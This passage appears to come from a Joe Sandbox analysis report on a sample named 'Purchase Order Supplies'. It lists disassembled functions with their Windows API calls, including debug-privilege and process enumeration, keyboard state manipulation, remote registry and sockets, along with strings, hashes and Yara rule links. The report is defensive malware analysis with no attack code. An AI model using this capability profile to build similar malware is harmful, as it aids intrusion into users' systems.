Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 88f653b1ae62377ccd5f7452c4674fba11544717dc11bb93178bb0d3d21bc77f
Instruction ID: aec296d75873180856755e726d1e9158d99b1d8507085a8acb49945f02889701
Opcode Fuzzy Hash: 88f653b1ae62377ccd5f7452c4674fba11544717dc11bb93178bb0d3d21bc77f
Instruction Fuzzy Hash: 9641CD71A00206AFDB04EF54C8A6FBDB7E5AF44304F08804AFA0A9F392DB74D944DB52

Function 00CF98D2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00CF9926
SendMessageW.USER32(?,00001036,00000000), ref: 00CF993A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?,SysListView32,00D2DBF0,?,?,?), ref: 00CF9954
_wcscat.LIBCMT ref: 00CF99AF
SendMessageW.USER32(?,00001057,00000000,?), ref: 00CF99C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00CF99F4

Strings

SysListView32, xrefs: 00CF98F8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: ff8c91a942ebdf4725782b8746abd5f72b7d65621ebf50321f8c9861bc2aa088
Instruction ID: ba7d8a33ae77486b8c6836630596f4937388d9c1318d67ec5eaf073641071014
Opcode Fuzzy Hash: ff8c91a942ebdf4725782b8746abd5f72b7d65621ebf50321f8c9861bc2aa088
Instruction Fuzzy Hash: 7141707190030DAFEF219F60CC85FEA7BB8EF08354F11446AF659A7291D7719A88DB24

Function 00CD6237 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00CD62D6

Strings

stop, xrefs: 00CD62A7
info, xrefs: 00CD6277
warning, xrefs: 00CD62BF
blank, xrefs: 00CD6258
question, xrefs: 00CD628F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: d80eb5e4786d2b7a019111dfad7857dc6e7327c5d02b032a36654ece91497763
Instruction ID: f8eeddc400758f745be513fd3ee6d7f46bf8752aec090faf8ebb7a5bd100da07
Opcode Fuzzy Hash: d80eb5e4786d2b7a019111dfad7857dc6e7327c5d02b032a36654ece91497763
Instruction Fuzzy Hash: 1A11B771208343BFE7055B59DC92DAA73D89F16724B20002BFB11A6382EBA4AA4095B4

Function 00CD757B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,00000000), ref: 00CD7595
LoadStringW.USER32(00000000), ref: 00CD759C
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00CD75B2
LoadStringW.USER32(00000000), ref: 00CD75B9
_wprintf.LIBCMT ref: 00CD75DF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00CD75FD

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00CD75DA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 611eedb77863137de7d24d0b0bc206a53fe0a982fe25696518e60f7a2a380ce3
Instruction ID: 3384b1395fa71646a75f2a6ceff110a2805c776636a9350e20db12c4ebe7ec68
Opcode Fuzzy Hash: 611eedb77863137de7d24d0b0bc206a53fe0a982fe25696518e60f7a2a380ce3
Instruction Fuzzy Hash: C7016DF2900308BFE711ABA4AC89EEA776DDB08300F004492B746E2141EA789EC58B31

Function 00CF2A0A Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Part of subcall function 00CF3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00CF2AA6,?,?), ref: 00CF3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00CF2AE7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 4e235ed89a7b517d46551d494873689bc4a5e3bcd87d0e621a0667f27bdc265c
Instruction ID: befb929f1d4d85ec99824a7579d43f806f49d665354313df792463353b15b4d4
Opcode Fuzzy Hash: 4e235ed89a7b517d46551d494873689bc4a5e3bcd87d0e621a0667f27bdc265c
Instruction Fuzzy Hash: 9B918A31604205AFCB00EF54C895B6EB7E5FF88314F14880DFA969B2A1DB30E945EB42

Function 00CE9A66 Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00CE9B38
WSAGetLastError.WS2_32(00000000), ref: 00CE9B45
__WSAFDIsSet.WS2_32(00000000,?), ref: 00CE9B6F
WSAGetLastError.WS2_32(00000000), ref: 00CE9B9F
htons.WS2_32(?), ref: 00CE9C51
inet_ntoa.WS2_32(?), ref: 00CE9C0C

Part of subcall function 00CCE0F5: _strlen.LIBCMT ref: 00CCE0FF
Part of subcall function 00CCE0F5: _memmove.LIBCMT ref: 00CCE121

_strlen.LIBCMT ref: 00CE9CA7
_memmove.LIBCMT ref: 00CE9D10

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLast_memmove_strlen$htonsinet_ntoaselect
String ID:
API String ID: 3637404534-0
Opcode ID: a74e211b211f2b42b4b060de73c5f454500fc24b8cb252b71ea2de208810c227
Instruction ID: 0a3541eaf7afd5a7b3b03f9ae504126f61d19c09aa49513d6da44313904f4fb4
Opcode Fuzzy Hash: a74e211b211f2b42b4b060de73c5f454500fc24b8cb252b71ea2de208810c227
Instruction Fuzzy Hash: 4D81CE32504240AFCB10EF25CC85EABBBE9EF89714F14461DF556972A1DB30DE04DBA2

Function 00CBB72C Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 00CBB744

Part of subcall function 00CB8A0C: __FF_MSGBANNER.LIBCMT ref: 00CB8A21
Part of subcall function 00CB8A0C: __NMSG_WRITE.LIBCMT ref: 00CB8A28
Part of subcall function 00CB8A0C: __malloc_crt.LIBCMT ref: 00CB8A48

__lock.LIBCMT ref: 00CBB757
__lock.LIBCMT ref: 00CBB7A3
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00D46948,00000018,00CC6C2B,?,00000000,00000109), ref: 00CBB7BF
RtlEnterCriticalSection.NTDLL(8000000C), ref: 00CBB7DC
RtlLeaveCriticalSection.NTDLL(8000000C), ref: 00CBB7EC

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: cdf7d10f3edf30c61a909eb74c70f26f8fac9a2ff4d53f7498b012c884881332
Instruction ID: 82b72f7e4a4d7b2482e5b7cf99e5199502c4b33f5ad9170f8abb4f240eb6bd8a
Opcode Fuzzy Hash: cdf7d10f3edf30c61a909eb74c70f26f8fac9a2ff4d53f7498b012c884881332
Instruction Fuzzy Hash: 54412571D007159BEB109FA8D8443ECBBA8BF41336F148319E825AB2D1CBB59D05CFA0

Function 00CDA1B7 Relevance: 12.1, APIs: 8, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00CDA1CE

Part of subcall function 00CB010A: std::exception::exception.LIBCMT ref: 00CB013E
Part of subcall function 00CB010A: __CxxThrowException@8.LIBCMT ref: 00CB0153

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00CDA205
RtlEnterCriticalSection.NTDLL(?), ref: 00CDA221
_memmove.LIBCMT ref: 00CDA26F
_memmove.LIBCMT ref: 00CDA28C
RtlLeaveCriticalSection.NTDLL(?), ref: 00CDA29B
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00CDA2B0
InterlockedExchange.KERNEL32(?,000001F6), ref: 00CDA2CF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: b10230d9a006b24e37fe4258e58a3bd1a7cce7024719a61cb7b822a6b2364649
Instruction ID: 05079cf8cc327e27ea65abf67d08c43cc8a539ba6696ca09c5038670cb93e2ee
Opcode Fuzzy Hash: b10230d9a006b24e37fe4258e58a3bd1a7cce7024719a61cb7b822a6b2364649
Instruction Fuzzy Hash: 4A317E31A00205ABCB00EFA9DC85AAEB7B9EF45310F1480A5F904EB256DB74DE55DBA1

Function 00CF8CDB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00CF8CF3
GetDC.USER32(00000000), ref: 00CF8CFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CF8D06
ReleaseDC.USER32(00000000,00000000), ref: 00CF8D12
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00CF8D4E
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00CF8D5F
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00CFBB29,?,?,000000FF,00000000,?,000000FF,?), ref: 00CF8D99
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00CF8DB9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: b4a78320504583450cbf74164a4fcaeaf9b324933773c8de4eb9330ff97f608d
Instruction ID: 381e1510e358f5ff26993a2e9b5fa97ff71fc617358e9bb397202b22a9bacbeb
Opcode Fuzzy Hash: b4a78320504583450cbf74164a4fcaeaf9b324933773c8de4eb9330ff97f608d
Instruction Fuzzy Hash: 24317F72100618BFEB108F50CC49FEA3BAAEF49755F048055FE08DA291CB759942CB70

Function 00CAB40F Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493943a6f923665bf29ace685a97605a994b91749922f114855f2a071fa52ef8
Instruction ID: 39a29c31c28cc6e61d85c929b07b649e0da52b509fe0aa10d555c6f8a4307eaf
Opcode Fuzzy Hash: 493943a6f923665bf29ace685a97605a994b91749922f114855f2a071fa52ef8
Instruction Fuzzy Hash: 74715D7190020AFFCB15CF99CC48ABEBB75FF8A318F248159F915A6292C7349E41DB64

Function 00CF2121 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CF214B
_memset.LIBCMT ref: 00CF2214
ShellExecuteExW.SHELL32(?), ref: 00CF2259

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

Part of subcall function 00C93BCF: _wcscpy.LIBCMT ref: 00C93BF2

CloseHandle.KERNEL32(00000000), ref: 00CF2320
FreeLibrary.KERNEL32(00000000), ref: 00CF232F

Strings

@, xrefs: 00CF2225

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: 26a132a9f6328d1116b83bc7d765e5536ffce4044697bb821ac128d63b5bdb89
Instruction ID: 1f72dc06bf0de8572e24cda88f5191ecfe4a22d49614545fd6f3acdca04f5752
Opcode Fuzzy Hash: 26a132a9f6328d1116b83bc7d765e5536ffce4044697bb821ac128d63b5bdb89
Instruction Fuzzy Hash: 4171BCB0A00619DFCF04EFA4C8949AEB7F5FF49310F108059E956AB361CB34AE40DB91

Function 00CD47DE Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00CD481D
GetKeyboardState.USER32(?), ref: 00CD4832
SetKeyboardState.USER32(?), ref: 00CD4893
PostMessageW.USER32(?,00000101,00000010,?), ref: 00CD48C1
PostMessageW.USER32(?,00000101,00000011,?), ref: 00CD48E0
PostMessageW.USER32(?,00000101,00000012,?), ref: 00CD4926
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00CD4949

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4ecadb001c96ef67b738ab0f50c77f6d68de7f0d9d5f0ea575bc2a892b178e6d
Instruction ID: 2afe53f66e3614a717e88b1087afddce1f795d0be47f5dcbfa266a79888de81e
Opcode Fuzzy Hash: 4ecadb001c96ef67b738ab0f50c77f6d68de7f0d9d5f0ea575bc2a892b178e6d
Instruction Fuzzy Hash: 9551D5A05087D53FFB3A4325CC55BBBBF995B06304F08858AE3E5966C2C6E4EE84E750

Function 00CD45F9 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00CD4638
GetKeyboardState.USER32(?), ref: 00CD464D
SetKeyboardState.USER32(?), ref: 00CD46AE
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00CD46DA
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00CD46F7
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00CD473B
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00CD475C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 511e8b8290eeabcdffecc2c2dfaa2f5714705386d7cb7b9acfda39b9be615bf7
Instruction ID: df4a5cc9b2be7d2b77924973c22126e0a987e05211ebc1e3f8115d4327a6db4e
Opcode Fuzzy Hash: 511e8b8290eeabcdffecc2c2dfaa2f5714705386d7cb7b9acfda39b9be615bf7
Instruction Fuzzy Hash: E751D6A05047D53FFB3A47248C45BBABF995B07304F08848AF3E546AC2D7A4EE95E760

Function 00CD86AE Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00CD86BB
_wcsncpy.LIBCMT ref: 00CD86F0
_wcsncpy.LIBCMT ref: 00CD8722
_wcsncpy.LIBCMT ref: 00CD8755
_wcsncpy.LIBCMT ref: 00CD8797
_wcsncpy.LIBCMT ref: 00CD87D1
_wcsncpy.LIBCMT ref: 00CD8800

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: a5d30931d340539a8ea61036e4e4d7400833657758bfc63cc5cde7ef04b69fce
Instruction ID: 0a29d1ee7e8c24c469a7f262721d1e690dbc044f690da7b419cb085e1a18c341
Opcode Fuzzy Hash: a5d30931d340539a8ea61036e4e4d7400833657758bfc63cc5cde7ef04b69fce
Instruction Fuzzy Hash: D1414D75C1021475DF10EBB4CC86ACFB7BCAF05310F958866EA24F3262EA30E25597A5

Function 00CF8DD5 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00CF8DF4
GetWindowLongW.USER32(0136B2C0,000000F0), ref: 00CF8E27
GetWindowLongW.USER32(0136B2C0,000000F0), ref: 00CF8E5C
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00CF8E8E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00CF8EB8
GetWindowLongW.USER32(?,000000F0), ref: 00CF8EC9
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00CF8EE3

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: bc0d881729528c92475a870e24b7051575af797cb992478b12c373ad6978aa54
Instruction ID: 89760535837d54e2cd086cda5f65a75d8641809461180177cc447bc6217bae76
Opcode Fuzzy Hash: bc0d881729528c92475a870e24b7051575af797cb992478b12c373ad6978aa54
Instruction Fuzzy Hash: 98312239600218AFDB608F58DC85FA53BA1EB4A314F1541A4FA25CB3B2CF61AD45DB62

Function 00CD16F1 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CD1734
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CD175A
SysAllocString.OLEAUT32(00000000), ref: 00CD175D
SysAllocString.OLEAUT32(?), ref: 00CD177B
SysFreeString.OLEAUT32(?), ref: 00CD1784
StringFromGUID2.COMBASE(?,?,00000028), ref: 00CD17A9
SysAllocString.OLEAUT32(?), ref: 00CD17B7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
